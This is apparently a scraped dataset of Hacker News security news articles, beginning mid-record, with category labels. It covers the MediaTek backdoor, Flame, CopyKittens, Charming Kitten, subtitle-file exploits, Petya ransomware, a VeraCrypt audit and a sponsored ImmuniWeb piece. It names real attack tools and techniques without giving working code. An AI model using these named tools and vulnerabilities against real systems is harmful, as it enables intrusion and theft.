The backdoor was discovered by security researcher Justin Case, who already informed MediaTek about the security issue via Twitter, as the chipset manufacturer had no proper vulnerability reporting mechanism in place.

The vulnerability is apparently due to a debug tool that was opened up for carriers to test the device on their networks, but unfortunately, it was left open in the shipped devices, thus leaving the serious backdoor open to hackers.
If exploited, the debug feature could allow hackers to compromise personal data of an Android device, including user's private contacts, messages, photos, videos and other private data.
MediaTek acknowledged the issue, saying ""We are aware of this issue, and it has been reviewed by MediaTek's security team. It was mainly found in devices running Android 4.4 KitKat, due to a debug feature created for telecommunication inter-operability testing in China.""
The issue actually resides in MediaTek MT6582 processor, which worryingly is being used in many high profile Android devices.

So, if your smartphone is using this processor, the only thing you can do for now is to…

...Keep your Android device off the Internet in an effort to protect yourself.

The company also said that it has notified all OEMs of the potential loophole, so it's now up to the affected OEMs to issue a security patch to close the backdoor.

""While this issue affected certain manufacturers, it also only affected a portion of devices for those manufacturers. We have taken steps to alert all manufacturers and remind them of this important feature,"" MediaTek spokesperson released a statement.

",Vulnerability
Sun Microsystems (Print) - Cross Site Scripting Vulnerabilities,https://thehackernews.com/2012/02/sun-microsystems-print-cross-site.html,"Sun Microsystems (Print) - Cross Site Scripting Vulnerabilities


Today Ucha Gobejishvili ( longrifle0x ) a Pentester from Georgia reported 3 More important Cross Site Scripting Vulnerabilities in Sun Microsystem's and Java Printer Webpages.

Java's Vulnerable Link : Click Here
Sun's Vulnerable Link 1 : Click Here
Sun's Vulnerable Link 2 : Click Here

Cross-Site Scripting occurs when an attacker can send a malicious script to a different user by relaying the script from an otherwise trusted or innocuous server. These flaws are extensive on the Web and allow an attacker to place malicious code that can execute attacks against other users in the security context of the web servers of the trusted host.

Previous vulnerabilities reported by longrifle0x : Click here to Read or Mirrors.

",Vulnerability
#Flame Malware - 21st Century Massive cyber attack on Iran,https://thehackernews.com/2012/05/flame-malware-21st-century-massive.html,"Flame Malware - 21st Century Massive cyber attack on Iran

A massive, highly sophisticated piece of malware has been newly found infecting systems in Iran and elsewhere and is believed to be part of a well-coordinated, ongoing, state-run cyber-espionage operation.

The Flame computer virus not only stole large quantities of information from various Iranian government agencies, but apparently even disrupted its oil exports by shutting down oil terminals, information security firm Symantec Israel said yesterday.

The Flame virus recently found in Iran could be used to infect other countries, according to the International Telecommunications Union. As the United Nations agency charged with helping members protect their data networks, the ITU plans to issue a warning about the danger of Flame.

Iran's National Computer Emergency Response Team (Maher) said in a statement that the detection and clean-up tool was finished in early May and is now ready for distribution to organisations at risk of infection.Flame was discovered after the UN's International Telecommunications Union asked for help from security firms to find out what was wiping data from machines across the Middle East.An investigation uncovered the sophisticated malicious programme which, until then, had largely evaded detection.

The virus is about 20 times the size of Stuxnet, malware that targeted the controls of an Iranian nuclear facility. The largest concentration of infected machines is in Iran, followed by the Palestinian-controlled West Bank, Sudan, Syria, Lebanon, Saudi Arabia, and Egypt.

According to the crysys report on sKyWIper (aka Flame):
sKyWIper has very advanced functionality to steal information and to propagate. Multiple exploits and propagation methods can be freely configured by the attackers. Information gathering from a large network of infected computers was never crafted as carefully as in sKyWIper. The malware is most likely capable to use all of the computers' functionalities for its goals. It covers all major possibilities to gather intelligence, including keyboard, screen, microphone, storage devices, network, wifi, Bluetooth, USB and system processes.

Flame is a Swiss Army Knife of malware in the sense that it can intercept everything imaginable, but it is not a pile of existing malware code thrown together. It is very cleverly crafted. Like Stuxnet, it has multiple propagation vectors – USB keys, printer sharing, and domain controller rights to name a few.

No security vendor has pointed out a single country or group as being responsible for Flame's creation.The central matter of contention at the moment is whether the malware was made by a private group or a nation state.

Bitdefender released a tool to find and remove the Flamer attack toolkit. Download the 32-bit or the 64-bit removal tools.

",Malware
Experts Unveil Cyber Espionage Attacks by CopyKittens Hackers,https://thehackernews.com/2017/07/opykittens-cyber-espionage.html,"Security researchers have discovered a new, massive cyber espionage campaign that mainly targets people working in government, defence and academic organisations in various countries.

The campaign is being conducted by an Iran-linked threat group, whose activities, attack methods, and targets have been released in a joint, detailed report published by researchers at Trend Micro and Israeli firm ClearSky.

Dubbed by researchers CopyKittens (aka Rocket Kittens), the cyber espionage group has been active since at least 2013 and has targeted organisations and individuals, including diplomats and researchers, in Israel, Saudi Arabia, Turkey, the United States, Jordan and Germany.

The targeted organisations include government institutions like Ministry of Foreign Affairs, defence companies, large IT companies, academic institutions, subcontractors of the Ministry of Defense, and municipal authorities, along with employees of the United Nations.

The latest report [PDF], dubbed ""Operation Wilted Tulip,"" details an active espionage campaign conducted by the CopyKittens hackers, a vast range of tools and tactics they used, its command and control infrastructure, and the group's modus operandi.

How CopyKittens Infects Its Targets

The group used different tactics to infiltrate their targets, which includes watering hole attacks — wherein JavaScript code is inserted into compromised websites to distribute malicious exploits.

The news media and organisations whose websites were abused as watering hole attacks include The Jerusalem Post, for which even German Federal Office for Information Security (BSI) issued an alert, Maariv news and IDF Disabled Veterans Organization.

Besides water hole attacks, CopyKittens also used other methods to deliver malware, including:

Emailed links to malicious websites controlled by attackers.
Weaponized Office documents exploiting recently discovered flaw (CVE-2017-0199).
Web servers exploitation using vulnerability scanner and SQLi tools like Havij, sqlmap, and Acunetix.
Fake social media entities to build trust with targets and potentially spread malicious links.

""The group uses a combination of these methods to persistently target the same victim over multiple platforms until they succeed in establishing an initial beachhead of infection – before pivoting to higher value targets on the network,"" Trend Micro writes in a blog post.
In order to infect its targets, CopyKittens makes use of its own custom malware tools in combination with existing, commercial tools, like Red Team software Cobalt Strike, Metasploit, post-exploitation agent Empire, TDTESS backdoor, and credential dumping tool Mimikatz.

Dubbed Matryoshka, the remote access trojan is the group's self-developed malware which uses DNS for command and control (C&C) communication and has the ability to steal passwords, capture screenshots, record keystrokes, collect and upload files, and give the attackers Meterpreter shell access.
""Matryoshka is spread through spear phishing with a document attached to it. The document has either a malicious macro that the victim is asked to enable or an embedded executable the victim is asked to open,"" Clear Sky says in a blog post.
The initial version of the malware was analysed in 2015 and seen in the wild from July 2016 until January 2017, though the group also developed and used Matryoshka version 2.

Users are recommended to enable two-factor authentication in order to protect their webmail accounts from being compromised, which is a treasure trove of information for hackers, and an ""extremely strong initial beachhead"" for pivoting into other targets.

",Malware
Beware! Subtitle Files Can Hack Your Computer While You're Enjoying Movies,https://thehackernews.com/2017/05/movie-subtitles-malware.html,"Do you watch movies with subtitles?

Just last night, I wanted to watch a French movie, so I searched for English subtitles and downloaded it to my computer.

Though that film was excellent, this morning a new research from Checkpoint scared me.

I was unaware that a little subtitle file could hand over full control of my computer to hackers, while I was enjoying the movie.

Yes, you heard that right.

A team of researchers at Check Point has discovered vulnerabilities in four of the most popular media player applications, which can be exploited by hackers to hijack ""any type of device via vulnerabilities; whether it is a PC, a smart TV, or a mobile device"" with malicious codes inserted into the subtitle files.

""We have now discovered malicious subtitles could be created and delivered to millions of devices automatically, bypassing security software and giving the attacker full control of the infected device and the data it holds,"" he added.

These four vulnerable media players (mentioned below) have been downloaded more than 220 million times:


VLC — Popular VideoLAN Media Player
Kodi (XBMC) — Open-Source Media Software
Popcorn Time — Software to watch Movies and TV shows instantly
Stremio — Video Streaming App for Videos, Movies, TV series and TV channels


The vulnerabilities reside in the way various media players process subtitle files and if exploited successfully, could put hundreds of millions of users at risk of getting hacked.

As soon as the media player parses those malicious subtitle files before displaying the actual subtitles on your screen, the hackers are granted full control of your computer or Smart TV on which you ran those files.

Proof-of-Concept Video
In the above video, the researchers demonstrated that how a maliciously crafted subtitle file for a movie added to Popcorn Time media player can hijack a Windows PC. On the right-hand side of the screen, an attacker, running Kali Linux, gained the remote access of the system as soon as the victim added the subtitle file.

Since text-based subtitles for movies and TV shows are created by writers and then uploaded to Internet stores, like OpenSubtitles and SubDB, hackers could also craft malicious text files for same TV shows and movies.

""Our researchers were also able to show that by manipulating the website's ranking algorithm, we could guarantee crafted malicious subtitles would be those automatically downloaded by the media player, allowing a hacker to take complete control over the entire subtitle supply chain, without resorting to a Man in the Middle attack or requiring user interaction,"" CheckPoint researchers said.
The researchers believe that similar security vulnerabilities also exist in other streaming media players.

How to Protect Your Computer from Hackers?

Check Point has already informed the developers of VLC, Kodi, Popcorn Time and Stremio applications about the recently discovered vulnerabilities.

""To allow the developers more time to address the vulnerabilities, we've decided not to publish any further technical details at this point,"" the researchers said.

All of them have patched the flaws, with Stremio and VLC releasing the patched versions of their software: Stremi 4.0 and VLC 2.2.5 that has been out for two weeks.

However, Kodi developer Martijn Kaijser said the official version 17.2 release would arrive later this week, while users could get a fixed version online. A patch for Popcorn Time is also available online.

So, users are advised to update their media player as soon as possible.

",Malware
How to Avoid the Top Three Causes of Data Breaches in 2019,https://thehackernews.com/2019/10/data-breach-protection.html,"What's the price of unprotected IT infrastructure? Cybercrime Magazine says that global damages will surpass $6 billion as soon as 2021.

Here we'll go through some of the most frequent and emerging causes of data breaches in 2019 and see how to address them in a timely manner.

Misconfigured Cloud Storage

It's hard to find a day without a security incident involving unprotected AWS S3 storage, Elasticsearch, or MongoDB. A global study from Thales and the Ponemon Institute states that only 32% of organizations believe protecting their data in a cloud is their own responsibility. Worse, according to the same report, 51% of the organizations still do not use encryption or tokenization to protect sensitive data in the cloud.

McAfee confirms, claiming that 99% of cloud and IaaS misconfigurations fall into the realm of end users' control and remain unnoticed. Marco Rottigni, Chief Technical Security Officer EMEA at Qualys, explains the problem: ""Some of the most common cloud database implementations ships with no security or access control as standard at the start. They have to be added on deliberately, which can be easily missed.""

With a global average cost of $3.92 million per data breach in 2019, these findings are quite alarming. Sadly, many cybersecurity and IT professionals still candidly believe that cloud providers are responsible for protecting their data in the cloud. Unfortunately, most of their assumptions are not in accord with harsh legal reality.

Virtually all major cloud and IaaS providers have experienced law firms to draft an airtight contract you won't be able to alter or negate in a court. Black ink clauses expressly shift financial liability for most incidents on the clients' shoulders and establish limited liability for everything else, often reckoned in pennies.

Most SME companies don't even carefully read the terms, while in large organizations, they are reviewed by legal advisors who are often disconnected from the IT team. Though, one will hardly negotiate better conditions, as otherwise, cloud business will become so perilous and unprofitable that it will swiftly disappear. This means that you will be the sole entity to blame and punish for misconfigured or abandoned cloud storage and a resultant data breach.

Unprotected Code Repositories

Research by North Carolina State University (NCSU) found that over 100,000 GitHub repositories have been leaking secret API tokens and cryptographic keys, with thousands of new repositories exposing secrets on a daily basis. Canadian banking giant Scotiabank recently made news headlines by reportedly storing internal source code, login credentials, and access keys for months in publicly open and accessible GitHub repositories.

Third-parties, especially external software developers, are commonly the weakest link. Often their developers lack proper training and security awareness requisite to duly safeguard their code. Having several projects at once, tough deadlines, and impatient clients, they ignore or forget about the very fundamentals of security, letting their code in public domain.

Cybercriminals are well aware of this digital Ali Baba's cave. Cyber gangs specialized in OSINT data discovery meticulously crawl existing and new code repositories in a continuous mode, carefully scrapping the data. Once something of value is found, it's sold to cyber gangs focused on exploitation and offensive operations to get in.

Given that such intrusions rarely trigger any red flags in anomaly detection systems, they remain unnoticed or detected once it is already too late. Worse, the investigation of such intrusions is costly and almost perspectiveless. Many famous APT attacks involved password re-use attacks with credentials found in code repositories.

Vulnerable Open Source Software

The rapid proliferation of Open Source Software (OSS) in enterprise systems exacerbates the cyber-threat landscape by adding even more unknowns into the game. A recent report by ImmuniWeb found that 97 out of 100 largest banks are vulnerable and have poorly coded web and mobile apps, being riddled with outdated and vulnerable open source components, libraries, and frameworks. The oldest unpatched vulnerability found was known and publicly disclosed since 2011.

OSS does save a lot of time for developers and money for organizations but likewise provides a wide spectrum of concomitant and largely underestimated risks. Few organizations properly track and maintain an inventory of countless OSS and its components built into their enterprise software. Consequently, blinded with unknowingness, they fall victim to unknown unknowns when newly detected OSS security flaws are aggressively exploited in the wild.

Today, medium and large-sized organizations incrementally invest in application security, notably in the implementation of DevSecOps and Shift Left testing. Gartner urges the adoption of Shift Left software testing by incorporating security testing at the early stages of the Software Development Lifecycle (SDLC) before it becomes overly expensive and time-consuming to fix vulnerabilities. However, a holistic and up2date inventory of your OSS is indispensable to implement Shift Left testing; otherwise, you will just pour your money down the drain.

How to Prevent and Remediate

Follow these five recommendations to reduce your risks in a cost-efficient manner:

1. Maintain an up2date and holistic inventory of your digital assets

Software, hardware, data, users, and licenses should be continuously monitored, classified, and risk-scored. In the era of public cloud, containers, code repositories, file-sharing services, and outsourcing, it's not an easy task, but without it, you may ruin the integrity of your cybersecurity efforts and negate all previous cybersecurity investments. Remember, you cannot protect what you don't see.

2. Monitor your external attack surface and risk exposure

Many organizations spend money on auxiliary or even theoretical risks, ignoring their numerous outdated, abandoned, or simply unknown systems accessible from the Internet. These shadow assets are low-hanging fruit for cybercriminals. Attackers are smart and pragmatic; they won't assault your castle if they can silently get in via a forgotten underground tunnel. Therefore, ascertain that you have an ample and up2date view of your external attacks surface in a continuous manner.

3. Keep your software up2date, implement patch management and automated patching

Most of the successful attacks do not involve the usage of sophisticated and costly 0days but publicly disclosed vulnerabilities often available with a working exploit. Hackers will systematically search for the weakest link in your defense perimeter to get in, and even a tiny outdated JS library may be a windfall to get your crown jewels. Implement, test, and monitor a robust patch management system for all your systems and applications.

4. Prioritize your testing and remediation efforts based on risks and threats

Once you have crystal-clear visibility of your digital assets and a properly implemented patch management strategy, it's time to ensure that everything works as you expected. Deploy continuous security monitoring for all your external assets, conduct in-depth testing, including penetration testing of your business-critical web applications and APIs. Setup monitoring for any anomalies with rapid notifications.

5. Keep an eye on Dark Web and monitor data leaks

Most companies do not realize how many of their corporate accounts, exposed by hacked third-party websites and services, are being sold on the Dark Web. The emerging success of password reuse and brute-force attacks stem from it. Worse, even legitimate websites such as Pastebin often expose a great wealth of leaked, stolen, or lost data accessible to everyone. Continuous monitoring and analysis of these incidents may save millions of dollars and, most importantly, your reputation and goodwill.

Reducing Complexity and Costs

We came across an innovative offering from a Swiss company ImmuniWeb® to tackle these issues in a simple and cost-effective manner. We are truly impressed with its technical capabilities, consolidated approach, and accessible price.

ImmuniWeb Discovery provides you with superior visibility and control over your external attack surface and risk exposure.



Try ImmuniWeb® Discovery for:

Rapid discovery of your external digital assets, including APIs, cloud storage and IoT
Actionable, data-driven security ratings of your applications' Hackability and Attractiveness
Continuous monitoring of public code repositories for unprotected or leaked source code
Continuous monitoring of Dark Web for exposed credentials and other sensitive data
Production-safe Software Composition Analysis of your web and mobile applications
Instant alerts about expiring domain names and SSL certificates
Integration with SIEMs and other security systems via API

We hope you will avoid becoming a victim of a data breach in 2020!

",Data_Breaches
5 Popular Web Hosting Services Found Vulnerable to Multiple Flaws,https://thehackernews.com/2019/01/web-hosting-server-security.html,"A security researcher has discovered multiple one-click client-side vulnerabilities in the some of the world's most popular and widely-used web hosting companies that could have put millions of their customers as well as billions of their sites' visitors at risk of hacking.

Independent researcher and bug-hunter Paulos Yibelo, who shared his new research with The Hacker News, discovered roughly a dozen serious security vulnerabilities in Bluehost, Dreamhost, HostGator, OVH, and iPage, which amounts to roughly seven million domains.

Some of the vulnerabilities are so simple to execute as they require attackers to trick victims into clicking on a simple link or visiting a malicious website to easily take over the accounts of anyone using the affected web hosting providers.

Critical Flaws Reported in Popular Web Hosting Services

Yibelo tested all the below-listed vulnerabilities on all five web hosting platforms and found several account takeover, cross-scripting, and information disclosure vulnerabilities, which he documented on the Website Planet blog.

1. Bluehost—the company owned by Endurance which also owns Hostgator and iPage, and in total, the three hosting providers powers more than 2 million sites around the world. Bluehost was found vulnerable to:
Information leakage through cross-origin-resource-sharing (CORS) misconfigurations
Account takeover due to improper JSON request validation CSRF
A Man-in-the-middle attack can be performed due to improper validation of CORS scheme
Cross-site scripting flaw on my.bluehost.com allows account takeover (demonstrated in a proof-of-concept, below)
2. Dreamhost—the hosting provider that powers one million domains was found vulnerable to:
Account takeover using cross-site scripting (XSS) flaw
3. HostGator
Site-wide CSRF protection bypass allows complete control
Multiple CORS misconfigurations leading to information leak and CRLF
4. OVH Hosting—the company that alone powers four million domains around the world was found vulnerable to:
CSRF protection bypass
API misconfigurations
5. iPage Hosting
Account takeover flaw
Multiple Content Security Policy (CSP) bypasses
Video Demonstrations






Talking to The Hacker News, Yibelo said he took about an hour on each of the five web hosting platforms on an average to find at least one account takeover-related client-side vulnerability, mostly using the Burp Suite, a web application security testing tool, and Firefox browser plugins.

""They mostly focus on protecting the wrong assets, but most of them have medium security standards for their user profile portals and data exfiltration vulnerability classes. Most of their protections are easily bypassable using lesser-known tricks,"" Yibelo told The Hacker News.

Among the affected hosting companies, Yibelo found Bluehost, HostGator and iPage to be the easiest ones to hack into, though he told The Hacker News that HostGator included ""multiple layers of security checks (that can be bypassed, but they are there, unlike the other sites).""

Yibelo reported his findings to the affected web hosting providers, all except OVH patched their services before the information went public yesterday. OVH has yet to confirm and response on the researcher's findings.

",Vulnerability
Iranian Hackers Pose as Journalists to Trick Victims Into Installing Malware,https://thehackernews.com/2020/08/hackers-journalist-malware.html,"An Iranian cyberespionage group known for targeting government, defense technology, military, and diplomacy sectors is now impersonating journalists to approach targets via LinkedIn and WhatsApp and infect their devices with malware.

Detailing the new tactics of the ""Charming Kitten"" APT group, Israeli firm Clearsky said, ""starting July 2020, we have identified a new TTP of the group, impersonating 'Deutsche Welle' and the 'Jewish Journal' using emails alongside WhatsApp messages as their main platform to approach the target and convince them to open a malicious link.""

This development is the first time the threat actor is said to have carried out a watering hole attack through WhatsApp and LinkedIn, which also includes making phone calls to victims, Clearsky noted in a Thursday analysis.

After the company alerted Deutsche Welle about the impersonation and the watering hole in their website, the German broadcaster confirmed, ""the reporter which Charming Kitten impersonated did not send any emails to the victim nor any other academic researcher in Israel in the past few weeks.""

Charming Kitten (also known by aliases APT35, Parastoo, NewsBeef, and Newscaster) has been previously linked to a series of covert campaigns at least since December 2017 with an aim to steal sensitive information from human rights activists, academic researchers, and media outlets.


The watering hole — in this case, a malicious link embedded in the compromised Deutsche Welle domain — delivered the info-stealer malware via WhatsApp, but not before the victims were first approached via tried-and-tested social engineering methods with an intention to lure the academics to speak at an online webinar.

""The correspondence began with an email sent to the target, initiating a conversation,"" Clearsky explained. ""After a short conversation with the target, the Charming Kitten attacker requests to move the conversation to WhatsApp. If the target refuses to move to WhatsApp, the attacker will send a message via a fake LinkedIn profile.""

In one scenario, the adversary even took the step of messaging and calling a victim to gain the target's trust and subsequently walk the person through the steps of connecting to the webinar using the malicious link earlier shared in the chat.

Although APT35 may have picked up a new ruse, this is not the first time the Iranian hackers have used social media channels to spy on personnel of interest.

In a three-year-long ""Operation Newscaster"" uncovered by iSIGHT Partners (now owned by FireEye) in 2014, the threat actor was found to have created false Facebook accounts and a fake news website to spy on military and political leaders in the U.S., Israel, and other countries.

""In this campaign, we observed a willingness of the attackers to speak on the phone directly with the victim, using WhatsApp calls, and a legitimate German phone number. This TTP is uncommon and jeopardizes the fake identity of the attackers,"" Clearsky researchers said.



",Cyber_Attack
Symantec Connects 40 Cyber Attacks to CIA Hacking Tools Exposed by Wikileaks,https://thehackernews.com/2017/04/cia-longhorn-hacking.html,"Security researchers have confirmed that the alleged CIA hacking tools recently exposed by WikiLeaks have been used against at least 40 governments and private organizations across 16 countries.

Since March, as part of its ""Vault 7"" series, Wikileaks has published over 8,761 documents and other confidential information that the whistleblower group claims came from the US Central Intelligence Agency (CIA).

Now, researchers at cybersecurity company Symantec reportedly managed to link those CIA hacking tools to numerous real cyber attacks in recent years that have been carried out against the government and private sectors across the world.

Those 40 cyber attacks were conducted by Longhorn — a North American hacking group that has been active since at least 2011 and has used backdoor trojans and zero-day attacks to target government, financial, energy, telecommunications, education, aerospace, and natural resources sectors.

Although the group's targets were all in the Middle East, Europe, Asia, and Africa, researchers said the group once infected a computer in the United States, but an uninstaller was launched within an hour, which indicates the ""victim was infected unintentionally.""

What's interesting is that Symantec linked some of CIA hacking tools and malware variants disclosed by Wikileaks in the Vault 7 files to Longhorn cyber espionage operations.

Fluxwire (Created by CIA) ≅ Corentry (Created by Longhorn)

Fluxwire, a cyber espionage malware allegedly created by the CIA and mentioned in the Vault 7 documents, contains a changelog of dates for when new features were added, which according to Symantec, closely resemble with the development cycle of ""Corentry,"" a malware created by Longhorn hacking group.
""Early versions of Corentry seen by Symantec contained a reference to the file path for the Fluxwire program database (PDB) file,"" Symantec explains. ""The Vault 7 document lists removal of the full path for the PDB as one of the changes implemented in Version 3.5.0.""
""Up until 2014, versions of Corentry were compiled using GCC [GNU Compiler Collection]. According to the Vault 7 document, Fluxwire switched to an MSVC compiler for version 3.3.0 on February 25, 2015. This was reflected in samples of Corentry, where a version compiled on February 25, 2015, had used MSVC as a compiler.""

Similar Malware Modules

Another Vault 7 document details 'Fire and Forget' specification of the payload and a malware module loader called Archangel, which Symantec claims, match almost perfectly with a Longhorn backdoor called Plexor.

""The specification of the payload and the interface used to load it was closely matched in another Longhorn tool called Backdoor.Plexor,"" says Symantec.

Use of Similar Cryptographic Protocol Practices

Another leaked CIA document outlined cryptographic protocols that should be used within malware tools, such as using AES encryption with a 32-bit key, inner cryptography within SSL to prevent man-in-the-middle attacks, and key exchanges once per connection.

One leaked CIA document also recommends using of in-memory string de-obfuscation and Real-time Transport Protocol (RTP) for communicating with the command and control (C&C) servers.

According to Symantec, these cryptographic protocol and communication practices were also used by Longhorn group in all of its hacking tools.

More About LongHorn Hacking Group

Longhorn has been described as a well-resourced hacking group that works on a standard Monday to Friday working week — likely a behavior of a state-sponsored group — and operates in an American time zone.

Longhorn's advanced malware tools are specially designed for cyber espionage with detailed system fingerprinting, discovery, and exfiltration capabilities. The group uses extremely stealthy capabilities in its malware to avoid detection.

Symantec analysis of the group's activities also shows that Longhorn is from an English speaking North American country with code words used by it referring, the band The Police with code words REDLIGHT and ROXANNE, and colloquial terms like ""scoobysnack.""

Overall, the functionality described in the CIA documents and its links to the group activities leave ""little doubt that Longhorn's activities and the Vault 7 documents are the work of the same group.""

",Cyber_Attack
"16-Year-Old Security Bug Affects Millions of HP, Samsung, Xerox Printers",https://thehackernews.com/2021/07/16-year-old-security-bug-affects.html,"Details have emerged about a high severity security vulnerability affecting a software driver used in HP, Xerox, and Samsung printers that has remained undetected since 2005.
Tracked as CVE-2021-3438 (CVSS score: 8.8), the issue concerns a buffer overflow in a print driver installer package named ""SSPORT.SYS"" that can enable remote privilege and arbitrary code execution. Hundreds of millions of printers have been released worldwide to date with the vulnerable driver in question.
However, there is no evidence that the flaw was abused in real-world attacks.
""A potential buffer overflow in the software drivers for certain HP LaserJet products and Samsung product printers could lead to an escalation of privilege,"" according to an advisory published in May.
The issue was reported to HP by threat intelligence researchers from SentinelLabs on February 18, 2021, following which remedies have been published for the affected printers as of May 19, 2021.
Specifically, the issue hinges on the fact that the printer driver doesn't sanitize the size of the user input, potentially allowing an unprivileged user to escalate privileges and run malicious code in kernel mode on systems that have the buggy driver installed. now
""The vulnerable function inside the driver accepts data sent from User Mode via IOCTL (Input/Output Control) without validating the size parameter,"" SentinelOne researcher Asaf Amir said in a report shared with The Hacker News. ""This function copies a string from the user input using 'strncpy' with a size parameter that is controlled by the user. Essentially, this allows attackers to overrun the buffer used by the driver.""
Interestingly, it appears that HP copied the driver's functionality from a near-identical Windows driver sample published by Microsoft, although the sample project in itself doesn't contain the vulnerability.
This is not the first time security flaws have been discovered in old software drivers. Earlier this May, SentinelOne revealed details about multiple critical privilege escalation vulnerabilities in Dell's firmware update driver named ""dbutil_2_3.sys"" that went undisclosed for more than 12 years.

",Vulnerability
VeraCrypt Audit Reveals Critical Security Flaws — Update Now,https://thehackernews.com/2016/10/veracrypt-vulnerabilities_18.html,"After TrueCrypt mysteriously discontinued its service, VeraCrypt became the most popular open source disk encryption software used by activists, journalists, as well as privacy conscious people.

First of all, there is no such thing as a perfect, bug-free software.

Even the most rigorously tested software, like the ones that operate SCADA Systems, medical devices, and aviation software, have flaws.

Vulnerabilities are an unfortunate reality for every software product, but there is always space for improvements.

Due to the enormous popularity of VeraCrypt, security researchers from the OSTIF (The Open Source Technology Improvement Fund) agreed to audit VeraCrypt independently and hired researchers from QuarksLab in August to lead the audit.

And it seems like VeraCrypt is not exactly flawless either.

Now after one month of the audit, researchers have discovered a number of security issues, including 8 critical, 3 medium, and 15 low-severity vulnerabilities in the popular encryption platform VeraCrypt.

Quarkslab senior security researcher Jean-Baptiste Bédrune and senior cryptographer Marion Videau analyzed the VeraCrypt version 1.18 and the DCS EFI Bootloader 1.18 (UEFI), mainly focusing on new features introduced since last year's TrueCrypt security audit.

VeraCrypt file encryption software has been derived from the TrueCrypt project, but with enhancements to further secure your data.
""VeraCrypt is a project hard to maintain,"" researchers said. ""Deep knowledge of several operating systems, the Windows kernel, the system boot chain and good concepts in cryptography are required. The improvements made by IDRIX demonstrate the possession of these skills.""
The researchers have detailed all the vulnerabilities in a 42-page audit report [PDF], which includes:
Critical bugs in the implementation of GOST 28147-89, a symmetric block cipher with a 64-bit block size, which they say must be removed completely due to unsafe implementation.
All compression libraries are considered outdated or ""poorly-written,"" and must be replaced with modern and more secure zip libraries.
If the system is encrypted, the boot password in UEFI mode or its length can be determined.
The majority of flaws have been fixed in the latest VeraCrypt version 1.19 release, but a few of them including AES implementation have not yet been patched due to substantial modifications of the code or/and the architecture of the project.

So, according to the OSTIF, ""VeraCrypt is much safer after this audit, and the fixes applied to the software mean that the world is safer when using this software.""

You are recommended to download the latest VeraCrypt version 1.19.

",Vulnerability
"Petya Ransomware Spreading Rapidly Worldwide, Just Like WannaCry",https://thehackernews.com/2017/06/petya-ransomware-attack.html,"Watch out, readers! It is ransomware, another WannaCry, another wide-spread attack.

The WannaCry ransomware is not dead yet and another large scale ransomware attack is making chaos worldwide, shutting down computers at corporates, power supplies, and banks across Russia, Ukraine, Spain, France, UK, India, and Europe and demanding $300 in bitcoins.

According to multiple sources, a new variant of Petya ransomware, also known as Petwrap, is spreading rapidly with the help of same Windows SMBv1 vulnerability that the WannaCry ransomware abused to infect 300,000 systems and servers worldwide in just 72 hours last month.

Apart from this, many victims have also informed that Petya ransomware has also infected their patch systems.

""Petya uses the NSA Eternalblue exploit but also spreads in internal networks with WMIC and PSEXEC. That's why patched systems can get hit."" Mikko Hypponen confirms, Chief Research Officer at F-Secure.

Petya is a nasty piece of ransomware and works very differently from any other ransomware malware. Unlike other traditional ransomware, Petya does not encrypt files on a targeted system one by one.

Instead, Petya reboots victims computers and encrypts the hard drive's master file table (MFT) and renders the master boot record (MBR) inoperable, restricting access to the full system by seizing information about file names, sizes, and location on the physical disk.

Petya ransomware replaces the computer's MBR with its own malicious code that displays the ransom note and leaves computers unable to boot.

Don't Pay Ransom, You Wouldn't Get Your Files Back
Infected users are advised not to pay the ransom because hackers behind Petya ransomware can't get your emails anymore.

Posteo, the German email provider, has suspended the email address i.e. wowsmith123456@posteo.net, which was behind used by the criminals to communicate with victims after getting the ransom to send the decryption keys.

At the time of writing, 23 victims have paid in Bitcoin to '1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWX' address for decrypting their files infected by Petya, which total roughly $6775.
Petya! Petya! Another Worldwide Ransomware Attack

Screenshots of the latest Petya infection, shared on Twitter, shows that the ransomware displays a text, demanding $300 worth of Bitcoins. Here's what the text read:
""If you see this text, then your files are no longer accessible, because they are encrypted. Perhaps you are busy looking for a way to recover your files, but don't waste your time. Nobody can recover your files without our decryption service.""
According to a recent VirusTotal scan, currently, only 16 out of 61 anti-virus services are successfully detecting the Petya ransomware malware.

Petya Ransomware Hits Banks, Telecom, Businesses & Power Companies
Supermarket in Kharkiv, East Ukraine
Petya ransomware has already infected — Russian state-owned oil giant Rosneft, Ukrainian state electricity suppliers, ""Kyivenergo"" and ""Ukrenergo,"" in past few hours.
""We were attacked. Two hours ago, we had to turn off all our computers. We are waiting for permission from Ukraine's Security Service (SBU) to switch them back on,"" Kyivenergo's press service said.
There are reports from several banks, including National Bank of Ukraine (NBU) and Oschadbank, as well as other companies confirming they have been hit by the Petya ransomware attacks.

Maersk, an international logistics company, has also confirmed on Twitter that the latest Petya ransomware attacks have shut down its IT systems at multiple locations and business units.
""We can confirm that Maersk IT systems are down across multiple sites and business units. We are currently asserting the situation. The safety of our employees, our operations and customers' business is our top priority. We will update when we have more information,"" the company said.
The ransomware also impacts multiple workstations at Ukrainian branch's mining company Evraz.

The most severe damages reported by Ukrainian businesses also include compromised systems at Ukraine's local metro and Kiev's Boryspil Airport.

Three Ukrainian telecommunication operators, Kyivstar, LifeCell, Ukrtelecom, are also affected in the latest Petya attack.

How Petya Ransomware Spreading So Fast?

Symantec, the cyber security company, has also confirmed that Petya ransomware is exploiting SMBv1 EternalBlue exploit, just like WannaCry, and taking advantage of unpatched Windows machines.

""Petya ransomware successful in spreading because it combines both a client-side attack (CVE-2017-0199) and a network based threat (MS17-010),"" security researcher using Twitter handle HackerFantastic tweeted.

EternalBlue is a Windows SMB exploit leaked by the infamous hacking group Shadow Brokers in its April data dump, who claimed to have stolen it from the US intelligence agency NSA, along with other Windows exploits.

Microsoft has since patched the vulnerability for all versions of Windows operating systems, but many users remain vulnerable, and a string of malware variants are exploiting the flaw to deliver ransomware and mine cryptocurrency.

Just three days ago, we reported about the latest WannaCry attack that hit Honda Motor Company and around 55 speed and traffic light cameras in Japan and Australia, respectively.

Well, it is quite surprising that even after knowing about the WannaCry issue for quite a decent amount of time, big corporates and companies have not yet implemented proper security measures to defend against such threat.

How to Protect Yourself from Ransomware Attacks
What to do immediately? Go and apply those goddamn patches against EternalBlue (MS17-010) and disable the unsecured, 30-year-old SMBv1 file-sharing protocol on your Windows systems and servers.

Since Petya Ransomware is also taking advantage of WMIC and PSEXEC tools to infect fully-patched Windows computers, you are also advised to disable WMIC (Windows Management Instrumentation Command-line).

Prevent Infection & Petya Kill-Switch
Researcher finds Petya ransomware encrypt systems after rebooting the computer. So if your system is infected with Petya ransomware and it tries to restart, just do not power it back on.
